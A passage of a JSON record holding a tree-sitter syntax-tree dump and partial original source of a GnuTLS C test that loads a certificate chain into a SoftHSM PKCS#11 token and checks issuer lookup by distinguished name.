"end_point": {"row": 272, "column": 53}}, {"id": 986, "type": "escape_sequence", "text": "\\n", "parent": 985, "children": [], "start_point": {"row": 272, "column": 50}, "end_point": {"row": 272, "column": 52}}, {"id": 987, "type": "call_expression", "text": "exit(1)", "parent": 976, "children": [988, 989], "start_point": {"row": 273, "column": 2}, "end_point": {"row": 273, "column": 9}}, {"id": 988, "type": "identifier", "text": "exit", "parent": 987, "children": [], "start_point": {"row": 273, "column": 2}, "end_point": {"row": 273, "column": 6}}, {"id": 989, "type": "argument_list", "text": "(1)", "parent": 987, "children": [990], "start_point": {"row": 273, "column": 6}, "end_point": {"row": 273, "column": 9}}, {"id": 990, "type": "number_literal", "text": "1", "parent": 989, "children": [], "start_point": {"row": 273, "column": 7}, "end_point": {"row": 273, "column": 8}}, {"id": 991, "type": "if_statement", "text": "if (issuer == NULL) {\n\t\tfail(\"error in gnutls_x509_trust_list_get_issuer_by_dn return value\\n\");\n\t\texit(1);\n\t}", "parent": 139, "children": [992], "start_point": {"row": 275, "column": 1}, "end_point": {"row": 278, "column": 2}}, {"id": 992, "type": "parenthesized_expression", "text": "(issuer == NULL)", "parent": 991, "children": [993], "start_point": {"row": 275, "column": 4}, "end_point": {"row": 275, "column": 20}}, {"id": 993, "type": "binary_expression", "text": "issuer == NULL", "parent": 992, "children": [994, 995, 996], "start_point": {"row": 275, "column": 5}, "end_point": {"row": 275, "column": 19}}, {"id": 994, "type": "identifier", "text": "issuer", "parent": 993, "children": [], "start_point": {"row": 275, "column": 5}, "end_point": {"row": 275, "column": 11}}, {"id": 995, "type": "==", "text": "==", "parent": 993, "children": [], "start_point": {"row": 275, "column": 12}, "end_point": {"row": 275, "column": 14}}, {"id": 996, "type": "null", "text": "NULL", "parent": 993, "children": [997], "start_point": {"row": 275, "column": 15}, "end_point": {"row": 275, "column": 19}}, {"id": 997, "type": "NULL", "text": "NULL", "parent": 996, "children": [], "start_point": {"row": 275, "column": 15}, "end_point": {"row": 275, "column": 19}}, {"id": 998, "type": "call_expression", "text": "fail(\"error in gnutls_x509_trust_list_get_issuer_by_dn return value\\n\")", "parent": 991, "children": [999, 1000], "start_point": {"row": 276, "column": 2}, "end_point": {"row": 276, "column": 73}}, {"id": 999, "type": "identifier", "text": "fail", "parent": 998, "children": [], "start_point": {"row": 276, "column": 2}, "end_point": {"row": 276, "column": 6}}, {"id": 1000, "type": "argument_list", "text": "(\"error in gnutls_x509_trust_list_get_issuer_by_dn return value\\n\")", "parent": 998, "children": [1001], "start_point": {"row": 276, "column": 6}, "end_point": {"row": 276, "column": 73}}, {"id": 1001, "type": "string_literal", "text": "\"error in gnutls_x509_trust_list_get_issuer_by_dn return value\\n\"", "parent": 1000, "children": [1002], "start_point": {"row": 276, "column": 7}, "end_point": {"row": 276, "column": 72}}, {"id": 1002, "type": "escape_sequence", "text": "\\n", "parent": 1001, "children": [], "start_point": {"row": 276, "column": 69}, "end_point": {"row": 276, "column": 71}}, {"id": 1003, "type": "call_expression", "text": "exit(1)", "parent": 991, "children": [1004, 1005], "start_point": {"row": 277, "column": 2}, "end_point": {"row": 277, "column": 9}}, {"id": 1004, "type": "identifier", "text": "exit", "parent": 1003, "children": [], "start_point": {"row": 277, "column": 2}, "end_point": {"row": 277, "column": 6}}, {"id": 1005, "type": "argument_list", "text": "(1)", "parent": 1003, "children": [1006], "start_point": {"row": 277, "column": 6}, "end_point": {"row": 277, "column": 9}}, {"id": 1006, "type": "number_literal", "text": "1", "parent": 1005, "children": [], "start_point": {"row": 277, "column": 7}, "end_point": {"row": 277, "column": 8}}, {"id": 1007, "type": "call_expression", "text": "gnutls_x509_crt_deinit(issuer)", "parent": 139, "children": [1008, 1009], "start_point": {"row": 279, "column": 1}, "end_point": {"row": 279, "column": 31}}, {"id": 1008, "type": "identifier", "text": "gnutls_x509_crt_deinit", "parent": 1007, "children": [], "start_point": {"row": 279, "column": 1}, "end_point": {"row": 279, "column": 23}}, {"id": 1009, "type": "argument_list", "text": "(issuer)", "parent": 1007, "children": [1010], "start_point": {"row": 279, "column": 23}, "end_point": {"row": 279, "column": 31}}, {"id": 1010, "type": "identifier", "text": "issuer", "parent": 1009, "children": [], "start_point": {"row": 279, "column": 24}, "end_point": {"row": 279, "column": 30}}, {"id": 1011, "type": "if_statement", "text": "if (debug)\n\t\tprintf(\"\\tCleanup...\");", "parent": 139, "children": [1012], "start_point": {"row": 281, "column": 1}, "end_point": {"row": 282, "column": 25}}, {"id": 1012, "type": "parenthesized_expression", "text": "(debug)", "parent": 1011, "children": [1013], "start_point": {"row": 281, "column": 4}, "end_point": {"row": 281, "column": 11}}, {"id": 1013, "type": "identifier", "text": "debug", "parent": 1012, "children": [], "start_point": {"row": 281, "column": 5}, "end_point": {"row": 281, "column": 10}}, {"id": 1014, "type": "call_expression", "text": "printf(\"\\tCleanup...\")", "parent": 1011, "children": [1015, 1016], "start_point": {"row": 282, "column": 2}, "end_point": {"row": 282, "column": 24}}, {"id": 1015, "type": "identifier", "text": "printf", "parent": 1014, "children": [], "start_point": {"row": 282, "column": 2}, "end_point": {"row": 282, "column": 8}}, {"id": 1016, "type": "argument_list", "text": "(\"\\tCleanup...\")", "parent": 1014, "children": [1017], "start_point": {"row": 282, "column": 8}, "end_point": {"row": 282, "column": 24}}, {"id": 1017, "type": "string_literal", "text": "\"\\tCleanup...\"", "parent": 1016, "children": [1018], "start_point": {"row": 282, "column": 9}, "end_point": {"row": 282, "column": 23}}, {"id": 1018, "type": "escape_sequence", "text": "\\t", "parent": 1017, "children": [], "start_point": {"row": 282, "column": 10}, "end_point": {"row": 282, "column": 12}}, {"id": 1019, "type": "call_expression", "text": "gnutls_x509_trust_list_deinit(tl, 0)", "parent": 139, "children": [1020, 1021], "start_point": {"row": 284, "column": 1}, "end_point": {"row": 284, "column": 37}}, {"id": 1020, "type": "identifier", "text": "gnutls_x509_trust_list_deinit", "parent": 1019, "children": [], "start_point": {"row": 284, "column": 1}, "end_point": {"row": 284, "column": 30}}, {"id": 1021, "type": "argument_list", "text": "(tl, 0)", "parent": 1019, "children": [1022, 1023], "start_point": {"row": 284, "column": 30}, "end_point": {"row": 284, "column": 37}}, {"id": 1022, "type": "identifier", "text": "tl", "parent": 1021, "children": [], "start_point": {"row": 284, "column": 31}, "end_point": {"row": 284, "column": 33}}, {"id": 1023, "type": "number_literal", "text": "0", "parent": 1021, "children": [], "start_point": {"row": 284, "column": 35}, "end_point": {"row": 284, "column": 36}}, {"id": 1024, "type": "call_expression", "text": "gnutls_x509_crt_deinit(ca)", "parent": 139, "children": [1025, 1026], "start_point": {"row": 285, "column": 1}, "end_point": {"row": 285, "column": 27}}, {"id": 1025, "type": "identifier", "text": "gnutls_x509_crt_deinit", "parent": 1024, "children": [], "start_point": {"row": 285, "column": 1}, "end_point": {"row": 285, "column": 23}}, {"id": 1026, "type": "argument_list", "text": "(ca)", "parent": 1024, "children": [1027], "start_point": {"row": 285, "column": 23}, "end_point": {"row": 285, "column": 27}}, {"id": 1027, "type": "identifier", "text": "ca", "parent": 1026, "children": [], "start_point": {"row": 285, "column": 24}, "end_point": {"row": 285, "column": 26}}, {"id": 1028, "type": "for_statement", "text": "for (j = 0; chains[idx].chain[j]; j++)\n\t\tgnutls_x509_crt_deinit(certs[j]);", "parent": 139, "children": [1029, 1033, 1040], "start_point": {"row": 286, "column": 1}, "end_point": {"row": 287, "column": 35}}, {"id": 1029, "type": "assignment_expression", "text": "j = 0", "parent": 1028, "children": [1030, 1031, 1032], "start_point": {"row": 286, "column": 6}, "end_point": {"row": 286, "column": 11}}, {"id": 1030, "type": "identifier", "text": "j", "parent": 1029, "children": [], "start_point": {"row": 286, "column": 6}, "end_point": {"row": 286, "column": 7}}, {"id": 1031, "type": "=", "text": "=", "parent": 1029, "children": [], "start_point": {"row": 286, "column": 8}, "end_point": {"row": 286, "column": 9}}, {"id": 1032, "type": "number_literal", "text": "0", "parent": 1029, "children": [], "start_point": {"row": 286, "column": 10}, "end_point": {"row": 286, "column": 11}}, {"id": 1033, "type": "subscript_expression", "text": "chains[idx].chain[j]", "parent": 1028, "children": [1034, 1039], "start_point": {"row": 286, "column": 13}, "end_point": {"row": 286, "column": 33}}, {"id": 1034, "type": "field_expression", "text": "chains[idx].chain", "parent": 1033, "children": [1035, 1038], "start_point": {"row": 286, "column": 13}, "end_point": {"row": 286, "column": 30}}, {"id": 1035, "type": "subscript_expression", "text": "chains[idx]", "parent": 1034, "children": [1036, 1037], "start_point": {"row": 286, "column": 13}, "end_point": {"row": 286, "column": 24}}, {"id": 1036, "type": "identifier", "text": "chains", "parent": 1035, "children": [], "start_point": {"row": 286, "column": 13}, "end_point": {"row": 286, "column": 19}}, {"id": 1037, "type": "identifier", "text": "idx", "parent": 1035, "children": [], "start_point": {"row": 286, "column": 20}, "end_point": {"row": 286, "column": 23}}, {"id": 1038, "type": "field_identifier", "text": "chain", "parent": 1034, "children": [], "start_point": {"row": 286, "column": 25}, "end_point": {"row": 286, "column": 30}}, {"id": 1039, "type": "identifier", "text": "j", "parent": 1033, "children": [], "start_point": {"row": 286, "column": 31}, "end_point": {"row": 286, "column": 32}}, {"id": 1040, "type": "update_expression", "text": "j++", "parent": 1028, "children": [1041, 1042], "start_point": {"row": 286, "column": 35}, "end_point": {"row": 286, "column": 38}}, {"id": 1041, "type": "identifier", "text": "j", "parent": 1040, "children": [], "start_point": {"row": 286, "column": 35}, "end_point": {"row": 286, "column": 36}}, {"id": 1042, "type": "++", "text": "++", "parent": 1040, "children": [], "start_point": {"row": 286, "column": 36}, "end_point": {"row": 286, "column": 38}}, {"id": 1043, "type": "call_expression", "text": "gnutls_x509_crt_deinit(certs[j])", "parent": 1028, "children": [1044, 1045], "start_point": {"row": 287, "column": 2}, "end_point": {"row": 287, "column": 34}}, {"id": 1044, "type": "identifier", "text": "gnutls_x509_crt_deinit", "parent": 1043, "children": [], "start_point": {"row": 287, "column": 2}, "end_point": {"row": 287, "column": 24}}, {"id": 1045, "type": "argument_list", "text": "(certs[j])", "parent": 1043, "children": [1046], "start_point": {"row": 287, "column": 24}, "end_point": {"row": 287, "column": 34}}, {"id": 1046, "type": "subscript_expression", "text": "certs[j]", "parent": 1045, "children": [1047, 1048], "start_point": {"row": 287, "column": 25}, "end_point": {"row": 287, "column": 33}}, {"id": 1047, "type": "identifier", "text": "certs", "parent": 1046, "children": [], "start_point": {"row": 287, "column": 25}, "end_point": {"row": 287, "column": 30}}, {"id": 1048, "type": "identifier", "text": "j", "parent": 1046, "children": [], "start_point": {"row": 287, "column": 31}, "end_point": {"row": 287, "column": 32}}, {"id": 1049, "type": "if_statement", "text": "if (debug)\n\t\tprintf(\"done\\n\\n\\n\");", "parent": 139, "children": [1050], "start_point": {"row": 288, "column": 1}, "end_point": {"row": 289, "column": 23}}, {"id": 1050, "type": "parenthesized_expression", "text": "(debug)", "parent": 1049, "children": [1051], "start_point": {"row": 288, "column": 4}, "end_point": {"row": 288, "column": 11}}, {"id": 1051, "type": "identifier", "text": "debug", "parent": 1050, "children": [], "start_point": {"row": 288, "column": 5}, "end_point": {"row": 288, "column": 10}}, {"id": 1052, "type": "call_expression", "text": "printf(\"done\\n\\n\\n\")", "parent": 1049, "children": [1053, 1054], "start_point": {"row": 289, "column": 2}, "end_point": {"row": 289, "column": 22}}, {"id": 1053, "type": "identifier", "text": "printf", "parent": 1052, "children": [], "start_point": {"row": 289, "column": 2}, "end_point": {"row": 289, "column": 8}}, {"id": 1054, "type": "argument_list", "text": "(\"done\\n\\n\\n\")", "parent": 1052, "children": [1055], "start_point": {"row": 289, "column": 8}, "end_point": {"row": 289, "column": 22}}, {"id": 1055, "type": "string_literal", "text": "\"done\\n\\n\\n\"", "parent": 1054, "children": [1056, 1057, 1058], "start_point": {"row": 289, "column": 9}, "end_point": {"row": 289, "column": 21}}, {"id": 1056, "type": "escape_sequence", "text": "\\n", "parent": 1055, "children": [], "start_point": {"row": 289, "column": 14}, "end_point": {"row": 289, "column": 16}}, {"id": 1057, "type": "escape_sequence", "text": "\\n", "parent": 1055, "children": [], "start_point": {"row": 289, "column": 16}, "end_point": {"row": 289, "column": 18}}, {"id": 1058, "type": "escape_sequence", "text": "\\n", "parent": 1055, "children": [], "start_point": {"row": 289, "column": 18}, "end_point": {"row": 289, "column": 20}}, {"id": 1059, "type": "call_expression", "text": "gnutls_global_deinit()", "parent": 139, "children": [1060, 1061], "start_point": {"row": 291, "column": 1}, "end_point": {"row": 291, "column": 23}}, {"id": 1060, "type": "identifier", "text": "gnutls_global_deinit", "parent": 1059, "children": [], "start_point": {"row": 291, "column": 1}, "end_point": {"row": 291, "column": 21}}, {"id": 1061, "type": "argument_list", "text": "()", "parent": 1059, "children": [], "start_point": {"row": 291, "column": 21}, "end_point": {"row": 291, "column": 23}}, {"id": 1062, "type": "if_statement", "text": "if (debug)\n\t\tprintf(\"Exit status...%d\\n\", exit_val);", "parent": 139, "children": [1063], "start_point": {"row": 293, "column": 1}, "end_point": {"row": 294, "column": 41}}, {"id": 1063, "type": "parenthesized_expression", "text": "(debug)", "parent": 1062, "children": [1064], "start_point": {"row": 293, "column": 4}, "end_point": {"row": 293, "column": 11}}, {"id": 1064, "type": "identifier", "text": "debug", "parent": 1063, "children": [], "start_point": {"row": 293, "column": 5}, "end_point": {"row": 293, "column": 10}}, {"id": 1065, "type": "call_expression", "text": "printf(\"Exit status...%d\\n\", exit_val)", "parent": 1062, "children": [1066, 1067], "start_point": {"row": 294, "column": 2}, "end_point": {"row": 294, "column": 40}}, {"id": 1066, "type": "identifier", "text": "printf", "parent": 1065, "children": [], "start_point": {"row": 294, "column": 2}, "end_point": {"row": 294, "column": 8}}, {"id": 1067, "type": "argument_list", "text": "(\"Exit status...%d\\n\", exit_val)", "parent": 1065, "children": [1068, 1070], "start_point": {"row": 294, "column": 8}, "end_point": {"row": 294, "column": 40}}, {"id": 1068, "type": "string_literal", "text": "\"Exit status...%d\\n\"", "parent": 1067, "children": [1069], "start_point": {"row": 294, "column": 9}, "end_point": {"row": 294, "column": 29}}, {"id": 1069, "type": "escape_sequence", "text": "\\n", "parent": 1068, "children": [], "start_point": {"row": 294, "column": 26}, "end_point": {"row": 294, "column": 28}}, {"id": 1070, "type": "identifier", "text": "exit_val", "parent": 1067, "children": [], "start_point": {"row": 294, "column": 31}, "end_point": {"row": 294, "column": 39}}, {"id": 1071, "type": "call_expression", "text": "remove(CONFIG)", "parent": 139, "children": [1072, 1073], "start_point": {"row": 295, "column": 1}, "end_point": {"row": 295, "column": 15}}, {"id": 1072, "type": "identifier", "text": "remove", "parent": 1071, "children": [], "start_point": {"row": 295, "column": 1}, "end_point": {"row": 295, "column": 7}}, {"id": 1073, "type": "argument_list", "text": "(CONFIG)", "parent": 1071, "children": [1074], "start_point": {"row": 295, "column": 7}, "end_point": {"row": 295, "column": 15}}, {"id": 1074, "type": "identifier", "text": "CONFIG", "parent": 1073, "children": [], "start_point": {"row": 295, "column": 8}, "end_point": {"row": 295, "column": 14}}, {"id": 1075, "type": "call_expression", "text": "exit(exit_val)", "parent": 139, "children": [1076, 1077], "start_point": {"row": 297, "column": 1}, "end_point": {"row": 297, "column": 15}}, {"id": 1076, "type": "identifier", "text": "exit", "parent": 1075, "children": [], "start_point": {"row": 297, "column": 1}, "end_point": {"row": 297, "column": 5}}, {"id": 1077, "type": "argument_list", "text": "(exit_val)", "parent": 1075, "children": [1078], "start_point": {"row": 297, "column": 5}, "end_point": {"row": 297, "column": 15}}, {"id": 1078, "type": "identifier", "text": "exit_val", "parent": 1077, "children": [], "start_point": {"row": 297, "column": 6}, "end_point": {"row": 297, "column": 14}}]}, "node_categories": {"declarations": {"functions": [41, 43, 69, 71, 89, 91, 139, 141], "variables": [46, 51, 74, 77, 94, 99, 102, 107, 112, 116, 121, 144, 146, 151, 157, 160, 164, 172, 179, 182, 187, 190, 193], "classes": [], "imports": [3, 4, 7, 8, 10, 11, 13, 14, 16, 17, 19, 20, 22, 23, 25, 26, 28, 29, 31, 32, 34, 35], "modules": [], "enums": []}, "statements": {"expressions": [57, 60, 82, 125, 126, 130, 202, 212, 216, 217, 218, 219, 229, 230, 231, 234, 235, 249, 250, 254, 259, 266, 272, 278, 282, 283, 287, 293, 297, 301, 307, 311, 316, 318, 322, 326, 330, 331, 339, 346, 352, 353, 357, 363, 367, 376, 377, 378, 383, 387, 388, 392, 397, 404, 407, 408, 412, 413, 417, 423, 427, 431, 435, 440, 444, 451, 452, 453, 459, 463, 466, 467, 468, 476, 479, 482, 486, 487, 491, 497, 498, 502, 508, 509, 513, 517, 521, 525, 528, 532, 535, 537, 543, 547, 550, 553, 556, 560, 561, 565, 573, 576, 579, 580, 584, 590, 594, 599, 603, 610, 612, 613, 618, 622, 625, 627, 628, 635, 639, 643, 644, 648, 654, 658, 663, 664, 668, 673, 678, 681, 683, 689, 692, 695, 698, 702, 704, 712, 719, 720, 724, 729, 736, 742, 746, 747, 751, 756, 760, 764, 767, 773, 784, 785, 789, 794, 806, 810, 813, 817, 818, 822, 827, 832, 833, 838, 843, 847, 859, 863, 866, 870, 871, 875, 880, 885, 886, 891, 896, 903, 907, 910, 914, 915, 919, 924, 931, 934, 937, 940, 941, 945, 950, 954, 961, 965, 967, 970, 973, 977, 978, 982, 987, 992, 993, 998, 1003, 1007, 1012, 1014, 1019, 1024, 1033, 1034, 1035, 1040, 1043, 1046, 1050, 1052, 1059, 1063, 1065, 1071, 1075], "assignments": [59, 208, 242, 263, 269, 275, 343, 372, 401, 439, 458, 473, 570, 598, 617, 632, 709, 733, 770, 798, 803, 851, 856, 900, 928, 958, 1029], "loops": [207, 371, 1028], "conditionals": [0, 1, 2, 6, 39, 42, 44, 47, 50, 52, 56, 58, 62, 67, 72, 76, 81, 83, 85, 87, 88, 92, 98, 101, 106, 111, 113, 115, 120, 123, 124, 127, 131, 133, 134, 142, 149, 154, 159, 161, 163, 168, 171, 173, 175, 180, 181, 183, 185, 186, 188, 189, 191, 192, 196, 199, 200, 201, 203, 206, 209, 213, 215, 220, 221, 222, 228, 232, 236, 237, 238, 243, 245, 248, 251, 255, 260, 264, 267, 270, 273, 276, 279, 281, 284, 288, 292, 294, 296, 298, 302, 304, 308, 310, 312, 314, 315, 317, 319, 323, 325, 327, 329, 332, 335, 337, 338, 340, 342, 344, 347, 349, 351, 354, 358, 360, 364, 366, 368, 373, 379, 380, 381, 382, 384, 386, 389, 393, 400, 402, 405, 409, 410, 411, 414, 418, 420, 430, 432, 434, 436, 441, 442, 446, 454, 455, 456, 457, 460, 461, 464, 469, 470, 471, 472, 474, 477, 480, 481, 483, 484, 485, 488, 492, 496, 499, 503, 505, 510, 511, 512, 516, 518, 520, 522, 526, 529, 530, 531, 533, 534, 536, 538, 546, 548, 549, 551, 552, 554, 557, 558, 559, 562, 566, 571, 574, 577, 578, 581, 585, 587, 591, 593, 595, 600, 601, 605, 614, 615, 616, 619, 620, 623, 629, 630, 631, 633, 636, 638, 640, 641, 642, 645, 649, 651, 655, 657, 659, 662, 665, 669, 674, 676, 677, 679, 680, 682, 684, 690, 691, 693, 694, 696, 699, 700, 701, 703, 705, 710, 713, 715, 716, 718, 721, 725, 730, 734, 737, 739, 740, 743, 744, 745, 748, 752, 757, 759, 761, 765, 768, 771, 774, 776, 777, 783, 786, 790, 795, 799, 804, 807, 809, 811, 814, 815, 816, 819, 823, 828, 831, 834, 839, 844, 848, 850, 852, 857, 860, 862, 864, 867, 869, 872, 876, 881, 884, 887, 892, 897, 901, 904, 906, 908, 911, 913, 916, 920, 925, 929, 932, 935, 938, 939, 942, 946, 951, 953, 955, 959, 962, 964, 966, 968, 971, 974, 975, 976, 979, 983, 988, 991, 994, 999, 1004, 1008, 1010, 1011, 1013, 1015, 1020, 1022, 1025, 1027, 1030, 1036, 1037, 1038, 1039, 1041, 1044, 1047, 1048, 1049, 1051, 1053, 1060, 1062, 1064, 1066, 1070, 1072, 1074, 1076, 1078], "returns": [64, 135, 137], "exceptions": []}, "expressions": {"calls": [], "literals": [5, 9, 12, 15, 18, 21, 24, 27, 30, 33, 36, 55, 86, 129, 136, 138, 150, 156, 198, 205, 211, 239, 241, 253, 257, 262, 286, 290, 300, 321, 333, 334, 336, 350, 356, 361, 370, 375, 391, 395, 416, 421, 426, 438, 490, 494, 501, 506, 524, 540, 564, 568, 583, 588, 597, 647, 652, 661, 667, 671, 686, 707, 717, 723, 727, 732, 741, 750, 754, 763, 769, 780, 781, 782, 788, 792, 797, 812, 821, 825, 830, 841, 846, 865, 868, 874, 878, 883, 894, 899, 909, 912, 918, 922, 927, 936, 944, 948, 957, 969, 981, 985, 990, 1001, 1006, 1017, 1023, 1032, 1055, 1068], "identifiers": [], "binary_operations": [], "unary_operations": [], "member_access": []}}, "cross_language_map": {"function_declarations": [{"node_id": 41, "universal_type": "function", "name": "unknown", "text_snippet": "static time_t mytime(time_t * t)\n{\n\ttime_t then = 1256803113;\n\n\tif (t)\n\t\t*t = then;\n\n\treturn then;\n}"}, {"node_id": 43, "universal_type": "function", "name": "unknown", "text_snippet": "mytime(time_t * t)"}, {"node_id": 69, "universal_type": "function", "name": "tls_log_func", "text_snippet": "static void tls_log_func(int level, const char *str)\n{\n\tfprintf(stderr, \"|<%d>| %s\", level, str);\n}"}, {"node_id": 71, "universal_type": "function", "name": "unknown", "text_snippet": "tls_log_func(int level, const char *str)"}, {"node_id": 89, "universal_type": "function", "name": "pin_func", "text_snippet": "static\nint pin_func(void* userdata, int attempt, const char* url, const char *label,\n\t\tunsigned flag"}, {"node_id": 91, "universal_type": "function", "name": "attempt,", "text_snippet": "pin_func(void* userdata, int attempt, const char* url, const char *label,\n\t\tunsigned flags, char *pi"}, {"node_id": 139, "universal_type": "function", "name": "doit", "text_snippet": "void doit(void)\n{\n\tchar buf[128];\n\tint exit_val = 0;\n\tint ret;\n\tunsigned j;\n\tconst char *lib, *bin;\n"}, {"node_id": 141, "universal_type": "function", "name": "unknown", "text_snippet": "doit(void)"}], "class_declarations": [], "import_statements": [{"node_id": 3, "text": "#include <config.h>\n"}, {"node_id": 4, "text": "#include"}, {"node_id": 7, "text": "#include <stdio.h>\n"}, {"node_id": 8, "text": "#include"}, {"node_id": 10, "text": "#include <stdlib.h>\n"}, {"node_id": 11, "text": "#include"}, {"node_id": 13, "text": "#include <string.h>\n"}, {"node_id": 14, "text": "#include"}, {"node_id": 16, "text": "#include <unistd.h>\n"}, {"node_id": 17, "text": "#include"}, {"node_id": 19, "text": "#include <gnutls/gnutls.h>\n"}, {"node_id": 20, "text": "#include"}, {"node_id": 22, "text": "#include <gnutls/x509.h>\n"}, {"node_id": 23, "text": "#include"}, {"node_id": 25, "text": "#include <gnutls/x509-ext.h>\n"}, {"node_id": 26, "text": "#include"}, {"node_id": 28, "text": "#include \"../utils.h\"\n"}, {"node_id": 29, "text": "#include"}, {"node_id": 31, "text": "#include \"../test-chains.h\"\n"}, {"node_id": 32, "text": "#include"}, {"node_id": 34, "text": "#include \"softhsm.h\"\n"}, {"node_id": 35, "text": "#include"}]}, "original_source_code": "/*\n * Copyright (C) 2008-2014 Free Software Foundation, Inc.\n *\n * Author: <NAME>, <NAME>\n *\n * This file is part of GnuTLS.\n *\n * GnuTLS is free software; you can redistribute it and/or modify it\n * under the terms of the GNU General Public License as published by\n * the Free Software Foundation; either version 3 of the License, or\n * (at your option) any later version.\n *\n * GnuTLS is distributed in the hope that it will be useful, but\n * WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with GnuTLS; if not, write to the Free Software Foundation,\n * Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA\n */\n\n#ifdef HAVE_CONFIG_H\n#include <config.h>\n#endif\n\n#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <unistd.h>\n\n#include <gnutls/gnutls.h>\n#include <gnutls/x509.h>\n#include <gnutls/x509-ext.h>\n\n#include \"../utils.h\"\n#include \"../test-chains.h\"\n#include \"softhsm.h\"\n\n#define CONFIG \"softhsm-issuer.config\"\n\n/* GnuTLS internally calls time() to find out the current time when\n verifying certificates. To avoid a time bomb, we hard code the\n current time. This should work fine on systems where the library\n call to time is resolved at run-time. */\nstatic time_t mytime(time_t * t)\n{\n\ttime_t then = 1256803113;\n\n\tif (t)\n\t\t*t = then;\n\n\treturn then;\n}\n\n#define PIN \"1234\"\n\nstatic void tls_log_func(int level, const char *str)\n{\n\tfprintf(stderr, \"|<%d>| %s\", level, str);\n}\n\nstatic\nint pin_func(void* userdata, int attempt, const char* url, const char *label,\n\t\tunsigned flags, char *pin, size_t pin_max)\n{\n\tif (attempt == 0) {\n\t\tstrcpy(pin, PIN);\n\t\treturn 0;\n\t}\n\treturn -1;\n}\n\nvoid doit(void)\n{\n\tchar buf[128];\n\tint exit_val = 0;\n\tint ret;\n\tunsigned j;\n\tconst char *lib, *bin;\n\tgnutls_x509_crt_t issuer = NULL;\n\tgnutls_x509_trust_list_t tl;\n\tgnutls_x509_crt_t certs[MAX_CHAIN];\n\tgnutls_x509_crt_t ca;\n\tgnutls_datum_t tmp;\n\tint idx = -1;\n\n\t/* The overloading of time() seems to work in linux (ELF?)\n\t * systems only. Disable it on windows.\n\t */\n#ifdef _WIN32\n\texit(77);\n#endif\n\tfor (j=0;;j++) {\n\t\tif (chains[j].name == NULL)\n\t\t\tbreak;\n\t\tif (strcmp(chains[j].name, \"verisign.com v1 ok\") == 0) {\n\t\t\tidx = j;\n\t\t\tbreak;\n\t\t}\n\t}\n\n\tif (idx == -1) {\n\t\tfail(\"could not find proper chain\\n\");\n\t\texit(1);\n\t}\n\n\tbin = softhsm_bin();\n\n\tlib = softhsm_lib();\n\n\tret = global_init();\n\tif (ret != 0) {\n\t\tfail(\"%d: %s\\n\", ret, gnutls_strerror(ret));\n\t\texit(1);\n\t}\n\n\tgnutls_pkcs11_set_pin_function(pin_func, NULL);\n\tgnutls_global_set_time_function(mytime);\n\tgnutls_global_set_log_function(tls_log_func);\n\tif (debug)\n\t\tgnutls_global_set_log_level(4711);\n\n\t/* write softhsm.config */\n\n\tset_softhsm_conf(CONFIG);\n\tsnprintf(buf, sizeof(buf), \"%s --init-token --slot 0 --label test --so-pin \"PIN\" --pin \"PIN, bin);\n\tsystem(buf);\n\n\tret = gnutls_pkcs11_add_provider(lib, \"trusted\");\n\tif (ret < 0) {\n\t\tfprintf(stderr, \"gnutls_x509_crt_init: %s\\n\",\n\t\t\tgnutls_strerror(ret));\n\t\texit(1);\n\t}\n\n\tfor (j = 0; chains[idx].chain[j]; j++) {\n\t\tif (debug > 2)\n\t\t\tprintf(\"\\tAdding certificate %d...\",\n\t\t\t (int) j);\n\n\t\tret = gnutls_x509_crt_init(&certs[j]);\n\t\tif (ret < 0) {\n\t\t\tfprintf(stderr,\n\t\t\t\t\"gnutls_x509_crt_init[%d,%d]: %s\\n\",\n\t\t\t\t(int) 3, (int) j,\n\t\t\t\tgnutls_strerror(ret));\n\t\t\texit(1);\n\t\t}\n\n\t\ttmp.data = (unsigned char *) chains[idx].chain[j];\n\t\ttmp.size = strlen(chains[idx].chain[j]);\n\n\t\tret =\n\t\t gnutls_x509_crt_import(certs[j], &tmp,\n\t\t\t\t\t GNUTLS_X509_FMT_PEM);\n\t\tif (debug > 2)\n\t\t\tprintf(\"done\\n\");\n\t\tif (ret < 0) {\n\t\t\tfprintf(stderr,\n\t\t\t\t\"gnutls_x509_crt_import[%s,%d]: %s\\n\",\n\t\t\t\tchains[idx].name, (int) j,\n\t\t\t\tgnutls_strerror(ret));\n\t\t\texit(1);\n\t\t}\n\n\t\tgnutls_x509_crt_print(certs[j],\n\t\t\t\t GNUTLS_CRT_PRINT_ONELINE,\n\t\t\t\t &tmp);\n\t\tif (debug)\n\t\t\tprintf(\"\\tCertificate %d: %.*s\\n\", (int) j,\n\t\t\t tmp.size, tmp.data);\n\t\tgnutls_free(tmp.data);\n\t}\n\n\tif (debug > 2)\n\t\tprintf(\"\\tAdding CA certificate...\");\n\n\tret = gnutls_x509_crt_init(&ca);\n\tif (ret < 0) {\n\t\tfprintf(stderr, \"gnutls_x509_crt_init: %s\\n\",\n\t\t\tgnutls_strerror(ret));\n\t\texit(1);\n\t}\n\n\ttmp.data = (unsigned char *) *chains[idx].ca;\n\ttmp.size = strlen(*chains[idx].ca);\n\n\tret =\n\t gnutls_x509_crt_import(ca, &tmp, GNUTLS_X509_FMT_PEM);\n\tif (ret < 0) {\n\t\tfprintf(stderr, \"gnutls_x509_crt_import: %s\\n\",\n\t\t\tgnutls_strerror(ret));\n\t\texit(1);\n\t}\n\n\tif (debug > 2)\n\t\tprintf(\"done\\n\");\n\n\tgnutls_x509_crt_print(ca, GNUTLS_CRT_PRINT_ONELINE, &tmp);\n\tif (debug)\n\t\tprintf(\"\\tCA Certificate: %.*s\\n\", tmp.size,\n\t\t tmp.data);\n\tgnutls_free(tmp.data);\n\n\tif (debug)\n\t\tprintf(\"\\tVerifying...\");\n\n\t/* initialize softhsm token */\n\tret = gnutls_pkcs11_token_init(SOFTHSM_URL, PIN, \"test\");\n\tif (ret < 0) {\n\t\tfail(\"gnutls_pkcs11_token_init\\n\");\n\t\texit(1);\n\t}\n\n\t/* write CA certificate to softhsm */\n\tret = gnutls_pkcs11_copy_x509_crt(SOFTHSM_URL, ca, \"test-ca\", GNUTLS_PKCS11_OBJ_FLAG_MARK_TRUSTED|GNUTLS_PKCS11_OBJ_FLAG_LOGIN_SO);\n\tif (ret < 0) {\n\t\tfail(\"gnutls_pkcs11_copy_x509_crt: %s\\n\", 